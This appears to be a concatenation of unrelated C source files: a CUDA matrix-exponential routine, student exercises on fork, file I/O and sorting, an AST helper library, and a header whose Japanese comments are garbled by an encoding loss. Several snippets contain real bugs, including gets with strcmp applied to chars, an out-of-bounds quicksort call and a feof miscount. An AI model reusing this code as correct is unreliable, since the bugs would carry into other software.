scale_tester(handle, h_d_T4[i], h_d_T4[i], make_cuDoubleComplex(1.0 / pow(2, (s[i] * 4)), 0), dim);
scale_tester(handle, h_d_T6[i], h_d_T6[i], make_cuDoubleComplex(1.0 / pow(2, (s[i] * 6)), 0), dim);
}
}
/* Get pade coefficients
------------------------
*/
double** c = (double**) malloc(batch_count*sizeof(double*));
for (int i = 0; i < batch_count; i++) {
c[i] = (double*) malloc(15*sizeof(double));
get_pade_coefficients(c[i], m_val[i]);
}
for (int i = 0; i < batch_count; i++) {
if(m_val[i] != 13){
printf("DIFFERENCE IS SEEN!\n");
exit(0);
}
}
/* Calculate U for each matrix in batch
---------------------------------------
*/
set_Identity(h_d_identity[0], dim, streams[1]);
for (int i = 0; i < batch_count; i++) {
scale_and_add_alt(handle2, h_d_T6[i], h_d_C[i], h_d_C[i], make_cuDoubleComplex(c[i][13], 0), dim);
scale_and_add_alt(handle2, h_d_T4[i], h_d_C[i], h_d_C[i], make_cuDoubleComplex(c[i][11], 0), dim);
scale_and_add_alt(handle2, h_d_T2[i], h_d_C[i], h_d_C[i], make_cuDoubleComplex(c[i][9], 0), dim);
}
cudaDeviceSynchronize();
cublasZgemmBatched(handle,
CUBLAS_OP_N, CUBLAS_OP_N,
dim, dim, dim,
alpha,
(const cuDoubleComplex**) d_C, dim,
(const cuDoubleComplex**) d_T6, dim,
beta,
d_C, dim,
batch_count);
cudaDeviceSynchronize();
for (int i = 0; i < batch_count; i++) {
scale_and_add_alt(handle, h_d_T6[i], h_d_C[i], h_d_C[i], make_cuDoubleComplex(c[i][7], 0), dim);
scale_and_add_alt(handle, h_d_T4[i], h_d_C[i], h_d_C[i], make_cuDoubleComplex(c[i][5], 0), dim);
scale_and_add_alt(handle, h_d_T2[i], h_d_C[i], h_d_C[i], make_cuDoubleComplex(c[i][3], 0), dim);
scale_and_add_alt(handle, h_d_identity[0], h_d_C[i], h_d_C[i], make_cuDoubleComplex(c[i][1], 0), dim);
scale_and_add(handle, h_d_C[i], h_d_B[i], h_d_B[i], make_cuDoubleComplex(1, 0), dim, 0);
}
cublasZgemmBatched(handle,
CUBLAS_OP_N, CUBLAS_OP_N,
dim, dim, dim,
alpha,
(const cuDoubleComplex**)d_B, dim,
(const cuDoubleComplex**)d_T1, dim,
beta,
d_C, dim,
batch_count);
cudaDeviceSynchronize();
/* Calculate V for each matrix in batch
---------------------------------------
*/
for (int i = 0; i < batch_count; i++) {
scale_and_add_complete(handle, h_d_T6[i], h_d_T4[i], h_d_B[i], make_cuDoubleComplex(c[i][12], 0), make_cuDoubleComplex(c[i][10], 0), dim);
scale_and_add(handle, h_d_T2[i], h_d_B[i], h_d_B[i], make_cuDoubleComplex(c[i][8], 0), dim, 0);
}
// BATCH MATRIX MULTIPLY:
cublasZgemmBatched(handle,
CUBLAS_OP_N, CUBLAS_OP_N,
dim, dim, dim,
alpha,
(const cuDoubleComplex**)d_B, dim,
(const cuDoubleComplex**)d_T6, dim,
beta,
d_A, dim,
batch_count);
cudaDeviceSynchronize();
for (int i = 0; i < batch_count; i++) {
scale_and_add(handle, h_d_T6[i], h_d_B[i], h_d_B[i], make_cuDoubleComplex(c[i][6], 0), dim, 0);
scale_and_add(handle, h_d_T4[i], h_d_B[i], h_d_B[i], make_cuDoubleComplex(c[i][4], 0), dim, 0);
scale_and_add(handle, h_d_T2[i], h_d_A[i], h_d_A[i], make_cuDoubleComplex(c[i][2], 0), dim, 0);
scale_and_add(handle, h_d_identity[0], h_d_B[i], h_d_B[i], make_cuDoubleComplex(c[i][0], 0), dim, 0);
scale_and_add(handle, h_d_A[i], h_d_B[i], h_d_B[i], make_cuDoubleComplex(1, 0), dim, 0);
/* Calculate V-U
---------------
*/
scale_and_subtract(handle, h_d_B[i], h_d_C[i], h_d_B[i], make_cuDoubleComplex(1, 0), dim); // THIS WOULD BE THE SYNCHRONIZATION POINT
}
/* *** Calculate F = (V-U)/(2*U) + I ***
----------------------------------------
*/
// Find inverse of each (V-U) in batch through LU decomposition:
Inverse_Batched(handle, d_B, d_A, dim, batch_count);
// Scale U by 2:
for (int i = 0; i < batch_count; i++) {
scale_tester(handle, h_d_C[i], h_d_C[i], make_cuDoubleComplex(2, 0), dim);
}
cublasZgemmBatched(handle,
CUBLAS_OP_N, CUBLAS_OP_N,
dim, dim, dim,
alpha,
(const cuDoubleComplex**)d_C, dim,
(const cuDoubleComplex**)d_A, dim,
beta,
d_B, dim,
batch_count);
cudaDeviceSynchronize();
for(int i=0; i<batch_count; i++) {
scale_and_add(handle, h_d_B[i], h_d_identity[0], h_d_B[i], make_cuDoubleComplex(1, 0), dim, 0);
}
/* *** Square each F[i] a total of s[i] times: ***
---------------------------------------------------
*/
cudaMemcpy(A + 5*(dim*dim), h_d_B[5], dim*dim*sizeof(cuDoubleComplex), cudaMemcpyDeviceToHost);
//matrix_complex_print(A + 5*(dim*dim), dim);
//exit(0);
for (int k = 0; k < max; k++) {
cublasZgemmBatched(handle,
CUBLAS_OP_N, CUBLAS_OP_N,
dim, dim, dim,
alpha,
(const cuDoubleComplex**)d_B, dim,
(const cuDoubleComplex**)d_B, dim,
beta,
d_C, dim,
batch_count);
cudaDeviceSynchronize();
for(int i=0; i< batch_count; i++) {
if(s[i] == (k + 1)){
// Copy mat expm i to host array in position i:
cudaMemcpy(output + i*(dim*dim), h_d_C[i], dim*dim*sizeof(cuDoubleComplex), cudaMemcpyDeviceToHost);
cudaMemcpy(A + i*(dim*dim), h_d_C[i], dim*dim*sizeof(cuDoubleComplex), cudaMemcpyDeviceToHost);
//cudaMemcpy(A[i], h_d_C[i], dim*dim*sizeof(cuDoubleComplex), cudaMemcpyDeviceToHost);
}
}
d_B = d_C; // Switch pointers to avoid memory copies
}
//cudaMemcpy(A + 5*(dim*dim), h_d_B[5], dim*dim*sizeof(cuDoubleComplex), cudaMemcpyDeviceToHost);
//matrix_complex_print(A + 5*(dim*dim), dim);
//printf("S IS: %lf \n", s[5]);
//exit(0);
// printf("Matrix Exponential: \n");
//matrix_complex_print(A[5], dim);
// free Memory:
for (int i = 0; i < batch_count; i++) {
cudaFree(h_d_T1[i]);
cudaFree(h_d_T2[i]);
cudaFree(h_d_T4[i]);
cudaFree(h_d_T6[i]);
cudaFree(h_d_T8[i]);
cudaFree(h_d_T10[i]);
cudaFree(h_d_A[i]);
cudaFree(h_d_B[i]);
cudaFree(h_d_C[i]);
cudaFree(h_d_identity[i]);
}
cudaFree(d_T1);
cudaFree(d_T2);
cudaFree(d_T4);
cudaFree(d_T6);
cudaFree(d_T8);
cudaFree(d_T10);
cudaFree(d_A);
cudaFree(d_B);
cudaFree(d_identity);
}
|
C
|
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
int suma(int);
void salida(int);
int main(int argc, char const *argv[]){
pid_t pid;
int input = 1;
int pipeline[2];
pipe(pipeline);
while (input != 0){
printf("Inserte un número: ");
scanf("%d", &input);
printf("\n");
pid = fork();
if (pid == -1){
printf("Hubo un error al crear al hijo\n");
}else if(pid == 0){
printf("Número %d ha sido insertado\n", input);
printf("La suma por el momento es de: %d\n", suma(input));
break;
}else{
close(pipeline[0]);
printf("Se está escribiendo");
wait(NULL);
}
}
return 0;
}
int suma(int input){
int contInput = 0;
}
void salida(int sum){
}
|
C
|
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#define MAX 100
#define MAX_KAR 21
typedef struct {
float po;
char prez[MAX_KAR];
} STUDENT;
int poredi(const void* a, const void* b);
int main() {
int i = 0, j;
char pre[MAX_KAR];
STUDENT niz[MAX];
STUDENT *k;
FILE *f = fopen("/home/luka/Desktop/Vezbanje/studenti.txt", "r");
if (f == NULL) {
printf("Greska!");
exit(0);
}
while (fscanf(f, "%s%f", niz[i].prez, &niz[i].po) != EOF)
i++;
printf("Uneti prezime studenta:\n");
scanf("%s", pre);
k = (STUDENT*) bsearch(pre, niz, i, sizeof (STUDENT), poredi);
if (k != NULL)
printf("%.2f", k->po);
else
printf("Nema!");
fclose(f);
return 0;
}
//niz mora da bude rastuci
//strcmp(n->prez, m) - promeniti ako je niz opadajuci
int poredi(const void* a, const void* b) {
STUDENT* n = (STUDENT*) b;
char* m = (char*) a;
return strcmp(m, n->prez);
}
|
C
|
#include "lib.h"
#include <sys/times.h>
#include <time.h>
#include <unistd.h>
#include <sys/wait.h>
double time_difference(clock_t time1, clock_t time2) {
return (double)(time2-time1) / CLOCKS_PER_SEC;
}
double real_time_difference(clock_t time1, clock_t time2) {
return (double) (time2-time1) / sysconf(_SC_CLK_TCK);
}
void print_time(clock_t start, clock_t end, struct tms time_start, struct tms time_end) {
printf("\t*Real time: %lfs\n", real_time_difference(start, end));
printf("\t*User time: %lfs\n", time_difference(time_start.tms_utime, time_end.tms_utime));
printf("\t*System time: %lfs\n", time_difference(time_start.tms_stime, time_end.tms_stime));
}
int main(int argc, char **argv) {
main_table* table = NULL;
struct tms tms_start;
struct tms tms_end;
clock_t time_start = times(&tms_start);
time_start = times(&tms_start);
if (argc < 2) {
printf("Too small amount of arguments.");
return 1;
}
int size1 = atoi(argv[2]);
table = create_table(size1);
pid_t pid;
for(int i = 3; i < argc; i = i + 2) {
char* option = argv[i];
pid = fork();
if(pid == 0) {
if(strcmp(option, "merge_files") == 0) {
merge_files_sequence(table, argv + i + 1);
}
//show_table(table);
clean(table);
return EXIT_SUCCESS;
}
}
while (wait(NULL) > 0) {
}
clock_t time_end = times(&tms_end);
print_time(time_start, time_end, tms_start, tms_end);
//show_table(table);
clean(table);
}
|
C
|
/* 15) Faa um algoritmo para imprimir o nmero de palavras (de no mximo 20 caracteres) presentes no arquivo "Texto.txt".
Considere que o arquivo no possui qualquer nmero, somente palavras. */
#include <stdio.h>
int main(){
char palavra[20];
int total=0;
FILE *arqPalavras;
arqPalavras=fopen("Texto.txt", "r");
if(arqPalavras==NULL){
printf("Erro na abertura do arquivo.");
return 1;
}
while(!feof(arqPalavras)){
fscanf(arqPalavras, "%s", palavra);
total++;
}
printf("O texto tem: %d palavras.", total);
fclose(arqPalavras);
return 0;
}
|
C
|
//Strcmp to sort a string
main(){
char s[10],c;
int i,r,j,round;
printf("Enter a string");
gets(s);
for(i=0;i<=10;i++){
for(j=1;j<=10-round;j++){
r=strcmp(s[i],s[j]);
if(r>0){
strcpy(c,s[i]);
strcpy(s[i],s[i+1]);
strcpy(s[i+1],c);
}
}
}
puts(s);
}
|
C
|
//
// Created by heymind on 2020/3/1.
//
#include "ast.h"
ASTNodePos *ast_node_pos_create(int start_row, int start_column, int end_row, int end_column) {
ASTNodePos *pos = malloc(sizeof(ASTNodePos));
pos->start_row = start_row;
pos->start_column = start_column;
pos->end_row = end_row;
pos->end_column = end_column;
return pos;
}
void ast_node_destroy(ASTNode *node) {
if (node == NULL) {
error_with_pos("node is NULL");
}
if (node->prev != NULL || node->next != NULL) {
error_with_pos("can not destroy a node while it still attached");
}
assert(node != NULL);
assert(node->prev == NULL && "can not destroy a node while it still attached");
assert(node->next == NULL && "can not destroy a node while it still attached");
ASTNodeAttr *attr = NULL, *tmp = NULL;
LL_FOREACH_SAFE(node->first_attr, attr, tmp) {
LL_DELETE(node->first_attr, attr);
ast_node_attr_destroy(attr);
}
if (node->pos != NULL) free(node->pos);
free(node);
}
ASTNodeAttr *ast_node_attr_create_node(const char *key, ASTNode *node) {
if (key == NULL) {
error_with_pos("attr key should not be null");
}
if (node == NULL) {
error_with_pos("ast node in attr should not be null");
}
assert(key != NULL && "attr key should not be null");
assert(node != NULL && "ast node in attr should not be null");
ASTNodeAttr *attr = malloc(sizeof(ASTNodeAttr));
attr->key = key;
attr->kind = ATTR_KIND_AST_NODE;
attr->value = (void *) node;
attr->next = NULL;
return attr;
}
void ast_node_attr_destroy(ASTNodeAttr *attr) {
if (attr == NULL) {
error_with_pos("attr should not be null");
}
if (attr->next != NULL) {
error_with_pos("can not destroy an attr while it still attached");
}
assert(attr != NULL && "attr should not be null");
assert(attr->next == NULL && "can not destroy an attr while it still attached");
switch (attr->kind) {
case ATTR_KIND_AST_NODE: {
ASTNode *node = NULL, *tmp = NULL, *head = attr->value;
DL_FOREACH_SAFE(head, node, tmp) {
DL_DELETE(head, node);
ast_node_destroy(node);
}
break;
}
case ATTR_KIND_STRING:
sdsfree((sds) attr);
break;
default:
break;
}
free(attr);
}
ASTNodeAttr *ast_node_attr_create_integer(const char *key, int val) {
if (key == NULL) {
error_with_pos("attr key should not be null");
}
assert(key != NULL && "attr key should not be null");
ASTNodeAttr *attr = malloc(sizeof(ASTNodeAttr));
static int value;
value = val;
attr->key = key;
attr->kind = ATTR_KIND_INTEGER;
attr->value = (int *) &value;
attr->next = NULL;
return attr;
}
ASTNodeAttr *ast_node_attr_create_const_str(const char *key, char *val) {
if (key == NULL) {
error_with_pos("attr key should not be null");
}
assert(key != NULL && "attr key should not be null");
ASTNodeAttr *attr = malloc(sizeof(ASTNodeAttr));
attr->key = key;
attr->kind = ATTR_KIND_CONST_STRING;
attr->value = val;
attr->next = NULL;
return attr;
}
ASTNodeAttr *ast_node_attr_create_str(const char *key, sds str) {
if (key == NULL) {
error_with_pos("attr key should not be null");
}
assert(key != NULL && "attr key should not be null");
ASTNodeAttr *attr = malloc(sizeof(ASTNodeAttr));
attr->key = key;
attr->kind = ATTR_KIND_STRING;
attr->value = str;
attr->next = NULL;
return attr;
}
ASTNode *ast_node_create(const char *type, ASTNodePos *pos) {
if (type == NULL) {
error_with_pos("node type should not be null");
}
assert(type != NULL && "node type should not be null");
// assert(pos != NULL && "node pos should not be null");
ASTNode *node = malloc(sizeof(ASTNode));
node->pos = pos;
node->type = type;
node->first_attr = NULL;
node->next = NULL;
node->prev = NULL;
return node;
}
ASTNode *ast_node_create_without_pos(const char *type) {
if (type == NULL) {
error_with_pos("node type should not be null");
}
assert(type != NULL && "node type should not be null");
// assert(pos != NULL && "node pos should not be null");
ASTNode *node = malloc(sizeof(ASTNode));
node->pos = NULL;
node->type = type;
node->first_attr = NULL;
node->next = NULL;
node->prev = NULL;
return node;
}
void ast_node_set_attr_integer(ASTNode *node, const char *key, int value) {
ASTNodeAttr *attr = ast_node_get_attr(node, key);
if (attr == NULL) {
attr = ast_node_attr_create_integer(key, value);
ast_node_attach_attr(node, attr);
} else {
assert(attr->kind == ATTR_KIND_INTEGER);
attr->value = (void *) value;
}
}
void ast_node_set_attr_str(ASTNode *node, const char *key, sds value) {
ASTNodeAttr *attr = ast_node_get_attr(node, key);
if (attr == NULL) {
attr = ast_node_attr_create_str(key, value);
ast_node_attach_attr(node, attr);
} else {
assert(attr->kind == ATTR_KIND_STRING);
sds_free(attr->value);
attr->value = (void *) value;
}
}
void ast_node_set_attr_const_str(ASTNode *node, const char *key, const char *value) {
ASTNodeAttr *attr = ast_node_get_attr(node, key);
if (attr == NULL) {
attr = ast_node_attr_create_const_str(key, value);
ast_node_attach_attr(node, attr);
} else {
assert(attr->kind == ATTR_KIND_CONST_STRING);
attr->value = (void *) value;
}
}
void ast_node_attr_node_append(ASTNode *node, const char *key, ASTNode *sub_node) {
if (sub_node == NULL)
return;
if (sub_node->next != NULL || sub_node->prev != NULL) {
error_with_pos("sub_node should not be attached");
}
assert(sub_node->next == NULL && sub_node->prev == NULL && "sub_node should not be attached");
ASTNodeAttr *attr = ast_node_get_attr(node, key);
if (attr == NULL) {
attr = ast_node_attr_create_node(key, sub_node);
ast_node_attach_attr(node, attr);
} else {
assert(attr->kind == ATTR_KIND_AST_NODE);
ASTNode *head = (ASTNode *) attr->value;
LL_APPEND(head, sub_node);
}
}
void ast_node_extend(ASTNode *origin, ASTNode *extended) {
LL_CONCAT(origin->first_attr, extended->first_attr);
extended->first_attr = NULL;
ast_node_destroy(extended);
}
void ast_node_attr_append(ASTNodeAttr *attr, ASTNodeAttr *sub_attr) {
if (attr == NULL) {
error_with_pos("attr node should not be null");
}
assert(attr != NULL && "attr node should not be null");
attr->next = sub_attr;
}
void ast_node_create_attr_list_append(ASTNode *list_main_node, const char *key, ASTNode *list_node) {
}
UT_array *append_array_type(UT_array *types, char *string) {
if (types == NULL) {
utarray_new(types, &ut_str_icd);
utarray_push_back(types, &string);
} else {
utarray_push_back(types, &string);
}
return types;
}
int find_array_type(UT_array *types, char *string) {
char **p = NULL;
while ((p = (char **) utarray_next(types, p))) {
if (strcmp(*p, string) == 0)
return 1;
}
return 0;
}
void ast_node_attach_attr(ASTNode *node, ASTNodeAttr *attr) {
if (node == NULL) {
error_with_pos("ast node in attr should not be null");
}
if (attr == NULL) {
error_with_pos("attr node should not be null");
}
assert(node != NULL && "ast node in attr should not be null");
assert(attr != NULL && "attr node should not be null");
LL_APPEND(node->first_attr, attr);
// ASTNodeAttr *current_attr;
// current_attr = node->first_attr;
//
// if (current_attr == NULL){
// node->first_attr = attr;
// } else {
// while(current_attr->next != NULL){
// current_attr = current_attr->next;
// }
// current_attr->next = attr;
// }
}
ASTNodeAttr *ast_node_get_attr(ASTNode *node, const char *key) {
if (node == NULL) {
error_with_pos("ast node in attr should not be null");
}
if (key == NULL) {
error_with_pos("attr key should not be null");
}
assert(node != NULL && "ast node in attr should not be null");
assert(key != NULL && "attr key should not be null");
ASTNodeAttr *cur;
// ASTNodeAttr *current_attr, *target_attr;
// current_attr = node->first_attr;
//
// if(current_attr == NULL){
// target_attr = NULL;
// } else {
// while(current_attr != NULL && strcmp(current_attr->key, key)){
// current_attr = current_attr->next;
// }
// target_attr = current_attr;
// }
LL_FOREACH(node->first_attr, cur) {
if (strcmp(cur->key, key) == 0) {
return cur;
}
};
// assert(target_attr != NULL && "ast node doesn't have attr named key");
return NULL;
}
int ast_node_get_attr_integer_value(ASTNode *node, const char *key) {
// assert(node != NULL && "ast node in attr should not be null");
// assert(key != NULL && "attr key should not be null");
// ASTNodeAttr *current_attr, *target_attr;
// current_attr = node->first_attr;
//
// if(current_attr == NULL){
// target_attr = NULL;
// } else {
// while(current_attr != NULL && strcmp(current_attr->key, key)){
// current_attr = current_attr->next;
// }
// target_attr = current_attr;
// }
ASTNodeAttr *target_attr = ast_node_get_attr(node, key);
if (target_attr == NULL) {
error_with_pos("ast node doesn't have attr named key");
}
if (target_attr->kind != ATTR_KIND_INTEGER) {
error_with_pos("attr node named key isn't integer node");
}
assert(target_attr != NULL && "ast node doesn't have attr named key");
assert(target_attr->kind == ATTR_KIND_INTEGER && "attr node named key isn't integer node");
return *(int *) target_attr->value;
}
char *ast_node_get_attr_str_value(ASTNode *node, const char *key) {
// assert(node != NULL && "ast node in attr should not be null");
// assert(key != NULL && "attr key should not be null");
// ASTNodeAttr *current_attr, *target_attr;
// current_attr = node->first_attr;
//
// if(current_attr == NULL){
// target_attr = NULL;
// } else {
// while(current_attr != NULL && strcmp(current_attr->key, key) != 0){
// current_attr = current_attr->next;
// }
// target_attr = current_attr;
// }
ASTNodeAttr *target_attr = ast_node_get_attr(node, key);
//assert(target_attr != NULL && "ast node doesn't have attr named key");
if (target_attr == NULL)
return NULL;
if (target_attr->kind != ATTR_KIND_STRING) {
error_with_pos("attr node named key isn't string node");
}
assert(target_attr->kind == ATTR_KIND_STRING && "attr node named key isn't string node");
return (char *) target_attr->value;
}
ASTNode *ast_node_get_attr_node_value(ASTNode *node, const char *key) {
// assert(node != NULL && "ast node in attr should not be null");
// assert(key != NULL && "attr key should not be null");
// ASTNodeAttr *current_attr, *target_attr;
// current_attr = node->first_attr;
//
// if(current_attr == NULL){
// target_att`r = NULL;
// } else {
// while(current_attr != NULL && strcmp(current_attr->key, key)){
// current_attr = current_attr->next;
// }
// target_attr = current_attr;
// }
ASTNodeAttr *target_attr = ast_node_get_attr(node, key);
if (target_attr == NULL)
return NULL;
if (target_attr->kind != ATTR_KIND_AST_NODE) {
error_with_pos("attr node named key isn't ast node");
}
assert(target_attr->kind == ATTR_KIND_AST_NODE && "attr node named key isn't ast node");
return (ASTNode *) target_attr->value;
}
void _ast_node_attr_dump_fp(ASTNodeAttr *head, FILE *fp) {
if (head == NULL) {
fprintf(fp, "null");
return;
}
ASTNodeAttr *attr = NULL;
fprintf(fp, "{");
DL_FOREACH(head, attr) {
if (attr != head) fprintf(fp, ",");
fprintf(fp, "\"%s\":", attr->key);
switch (attr->kind) {
case ATTR_KIND_INTEGER:
fprintf(fp, "%d", (int) attr->value);
break;
case ATTR_KIND_CONST_STRING:
case ATTR_KIND_STRING:
fprintf(fp, "\"%s\"", (char *) attr->value);
break;
case ATTR_KIND_AST_NODE:
assert(attr->value != NULL);
_ast_node_dump_fp((ASTNode *) (attr->value), fp);
break;
}
}
fprintf(fp, "}");
}
void _ast_node_dump_fp(ASTNode *head, FILE *fp) {
if (head == NULL) {
error_with_pos("head should not be NULL");
}
assert(head != NULL);
ASTNode *node = NULL;
//fprintf(fp, "[");
DL_FOREACH(head, node) {
if (node != head) fprintf(fp, ",");
if (strstr(node->type, "LIST")) {
fprintf(fp, "[");
ASTNodeAttr *attr = NULL;
DL_FOREACH(node->first_attr, attr) {
if (attr != node->first_attr) fprintf(fp, ",");
fprintf(fp, "{\"type\":\"%s\",", node->type);
if (node->pos != NULL) {
fprintf(fp, "\"pos\":\"(%d,%d)->(%d,%d)\",", node->pos->start_row, node->pos->start_column,
node->pos->end_row, node->pos->end_column);
}
fprintf(fp, "\"attrs\":");
ASTNodeAttr *attr_ = malloc(sizeof(ASTNodeAttr));
*attr_ = *attr;
attr_->next = NULL;
_ast_node_attr_dump_fp(attr_, fp);
free(attr_);
fprintf(fp, "}");
}
fprintf(fp, "]");
} else {
fprintf(fp, "{\"type\":\"%s\",", node->type);
if (node->pos != NULL) {
fprintf(fp, "\"pos\":\"(%d,%d)->(%d,%d)\",", node->pos->start_row, node->pos->start_column,
node->pos->end_row, node->pos->end_column);
}
fprintf(fp, "\"attrs\":");
_ast_node_attr_dump_fp(node->first_attr, fp);
fprintf(fp, "}");
}
// fprintf(fp, "{\"type\":\"%s\",\"start\":%d,\"end\":%d,\"row\":%d,\"col\":%d,\"attrs\":",
// node->type,
// node->pos->start,
// node->pos->end,
// node->pos->row,
// node->pos->col
// );
}
//fprintf(fp, "]");
}
void ast_node_dump_json(ASTNode *head, char *filename) {
if (head == NULL || filename == NULL) {
error_with_pos("head or filename should not be NULL");
}
assert(head != NULL && filename != NULL);
FILE *fp = fopen(filename, "w+");
_ast_node_dump_fp(head, fp);
fclose(fp);
}
|
C
|
#define UPPER 100 //Số phần tử tối đa
#define ZERO 0 //Giá trị 0
#define MAX 20 //Số đỉnh tối đa
#define INF 1000 //Vô cùng
#define YES 1 //Đã xét
#define NO 0 //Chưa xét
#define NULLDATA -1 //Giá trị rỗng
typedef char LabelType;
typedef int CostType;
typedef CostType Matrix[MAX][MAX];
//Định nghĩa một đỉnh
struct Vertex
{
LabelType label;
int visited;
};
//Định nghĩa một cạnh
struct Edge
{
int source;
int target;
CostType weight;
int marked;
};
//Định nghĩa đường đi
struct Path
{
CostType length; //Độ dài đường đi
int parent; //Đỉnh trước
};
//Định nghĩa đồ thị
struct Graph
{
bool directed;
int numVertices;
int numEdges;
Matrix cost; //Ma trận kề
Vertex Vertices[MAX]; //Danh sách đỉnh
};
|
C
|
#include <stdio.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <dirent.h>
#include <sys/stat.h>
#include <errno.h>
#define BUFF_SIZE 512
int main(int argc, char * argv[], char * envp[]) {
if(argc != 3) {
printf("Usage: %s <src_dir> <dest_dir>\n",argv[0]);
exit(1);
}
DIR *dirp;
struct dirent *direntp;
struct stat stat_buf;
char *str;
char buffer[BUFF_SIZE];
char * fullpath = malloc(BUFF_SIZE);
if((dirp = opendir(argv[1])) == NULL) {
perror(argv[1]);
exit(1);
}
getcwd(buffer,BUFF_SIZE);
if(strcmp(argv[2],"."))
strcat(buffer,argv[2]);
chdir(argv[1]);
while ((direntp = readdir(dirp))!=NULL) {
if(stat(direntp->d_name,&stat_buf) ==0) {
if(fork() ==0) {
if(S_ISREG(stat_buf.st_mode)) {
execlp("cp","cp",direntp->d_name,buffer,NULL);
}
else if(S_ISDIR(stat_buf.st_mode)) {
if(strcmp(direntp->d_name,".") != 0 || strcmp(direntp->d_name,"..") !=0) {
execlp("mkdir","mkdir",direntp->d_name,buffer,NULL);
}
}
exit(0);
}
}
}
closedir(dirp);
exit(0);
}
|
C
|
int razmermassiva(int a[],int n)
{
for(int i=0; i<10; ++i)
{
printf("Enter %d element of array: ", i+1);
scanf("%d", &a[i]);
}
}
int vivodmassiva (int a[], int n)
{
for(int i=0; i<10; ++i)
{
printf("%d element = %d\n", i+1, a[i]);
}
}
int nomervmassive (int p, int a[])
{
int z,o=0;
int minusadin=-1;
for(int i=0; i<10; ++i)
{
if(p==a[i])
{
z=i;
o++;
break;
}
}
if (o>0)
{
printf("vashe chiselko = %d", z+1);
}
else
printf("%d",minusadin);
}
|
C
|
#include<stdio.h>
#include<time.h>
#include<stdlib.h>
#define NUMBER 20000
//クイックソート
void Q_sort(int data[],int left ,int right){
int i = left; //左端
int j = right; //右端
int pivot;
pivot = data[(left+right)/2]; //中央値を軸に
while(1){
while(data[i]<pivot){i++;} //軸より大きい値を探す
while(data[j]>pivot){j--;} //軸より小さい値を探す
if(i>=j)break; //iの方がjより大きかったらやめる
int tmp = data[i];
data[i] = data[j];
data[j] = tmp;
i++;
j--;
}
if(left<(i-1)){Q_sort(data,left,i-1);}
if((j+1)<right){Q_sort(data,j+1,right);}
}
int main(void){
clock_t t_start,t_end;
t_start = clock();
srand((unsigned)time(NULL));
int data[NUMBER]={0};
//乱数生成
for(int i=0;i<NUMBER;i++){
data[i]=rand();
}
Q_sort(data,0,NUMBER);
for(int i=0;i<NUMBER;i++){
printf("[%d]=%d\n",i,data[i]);
}
t_end=clock();
printf("実行時間:%f\n",(double)(t_end-t_start)/CLOCKS_PER_SEC);
return 0;
}
|
C
|
#ifndef _MYMALLOC_H
#define _MYMALLOC_H
#include <stdio.h>
#include <limits.h>
#define malloc(x) mymalloc((x), __LINE__, __FILE__)
#define free(x) myfree((x), __LINE__, __FILE__)
/*
The size attribute of metadata is a signed short, conveying information about block size and usage.
block size: magnitude of metadata.size.
block used: sign of metadata.size; negative is unused, positive is used.
*/
typedef struct _metadata {
short size;
} metadata;
typedef enum _DetectableError {FreeA, FreeB, FreeC, MallocA} DetectableError;
// Allocation functions:
void* mymalloc(size_t user_size, int line, char* file);
metadata* find_block(size_t user_size, int line, char* file);
void* split_block(metadata* meta_ptr, size_t user_size);
// Free functions:
void myfree(void* user_ptr, int line, char* file);
metadata* mark_unused(void* user_ptr, int line, char* file);
int stitch();
// Debugging functions:
void print_status();
#endif
|
C
|
#include <stdio.h>
#define SIZE 3
void matrixPrint(FILE *out, int matrix[SIZE][SIZE], int size) {
int last = size - 1;
for ( int row = 0; row < size; row++ ) {
for ( int col = 0; col < last; col++ ) {
fprintf(out, "%d ", matrix[col][row]);
}
fprintf(out, "%d\n", matrix[last][row]);
}
}
void matrixFillWithEvenNaturalNumbers(int matrix[SIZE][SIZE], int size) {
for ( int row = 0, counter = 2; row < size; row++ ) {
for ( int col = 0; col < size; col++ ) {
matrix[row][col] = counter;
counter += 2;
}
}
}
int main() {
FILE *out = fopen("tast.out", "w");
int size = SIZE;
int matrix[size][size];
matrixFillWithEvenNaturalNumbers(matrix, size);
matrixPrint(out, matrix, size);
fclose(out);
return 0;
}
|
C
|
/** @file
* @brief ؿ nusdas_snprintf() μ
*/
#include "config.h"
#include "nusdas.h"
#include <stddef.h>
#include <stdarg.h>
# define NEED_VSNPRINTF
#include "sys_err.h"
/** @brief Хȿб snprintf()
*
* @p fmt ˽ʹߤΰʸ
* Ĺ @p bufsize @p buf ˳Ǽ롣
* printf(3) Ʊ͡Ѵ `%' ʸե饰 (ץ)
* (1--9) ˤ (ץ)
* ԥꥪ (`.') ֤ˤ (ץ)
* (ץ)
* Ѵʸʤ롣
* Ѵʳ @p fmt ʸϤΤޤž̤롣
*
* @retval ºݤ˽ޤ줿ʸ (̥뽪üޤޤʤ)
* @retval -1 顼
*
* <H3>ե饰</H3>
* <DL>
* <DT>0 ()<DD>Ѵ
* (`a', `d', `b', `x', `X', `u', `o') η̤
* ʤ硢¦˥롣
* <DT>$-$<DD>ѴʸǺ롣
* <DT>+<DD>Ѵ `d' ޤ `a' ˤĤơ
* ͤΤȤ `+' άʤ
* <DT>#<DD>ŪѤ롣
* </DL>
*
* <H3></H3>
* <UL>
* <LI>ϡѴηޤʸǾλꤹ롣
* <LI>Ѵ̤ʤ硢¦˥ڡ
* (ե饰ˤäƵưѤ)
* <LI>Ѵ̤Ķ硢ΤޤѤ롣
* ĤޤꡢʬʰͿʤȽ뤳Ȥ롣
* <LI> `y', `m' ޤѴ `%', `c' Ǥϰϸ̤⤿ʤ
* </UL>
*
* <H3></H3>
* <UL>
* <LI>ưѴ (`a') ˤĤƤϡ٤Ȥʤ롣
* <LI>ưѴ (`g') ˤĤƤϡ٤Ȥʤ롣
* <LI>ʸѴ (`s') ˤĤƤϡѴޤʸϺ
* () ĤǤ롣
* Fortran Ϥ줿ǡΤ褦˥̥뽪üƤʤ
* ĹʸΰѤ뤬
* ̥ʸФǻߤޤäƤޤ (㳰)
* <LI>¾ѴˤƤ٤ϸ̤⤿ʤ
* </UL>
*
* <H3></H3>
* ŬѲǽѴդƤϸġѴ衣
* <DL>
* <DT>l (ʸΥ)<DD> long ޤ unsigned long Ǥ롣
* <DT>z<DD> size_t Ǥ (C99 )
* <DT>P<DD> N_SI4 ޤ N_UI4 Ǥ롣
* <DT>Q<DD> N_SI8 ޤ N_UI8 Ǥ롣
* η¤ΤȤƼƤĶǤ⡢
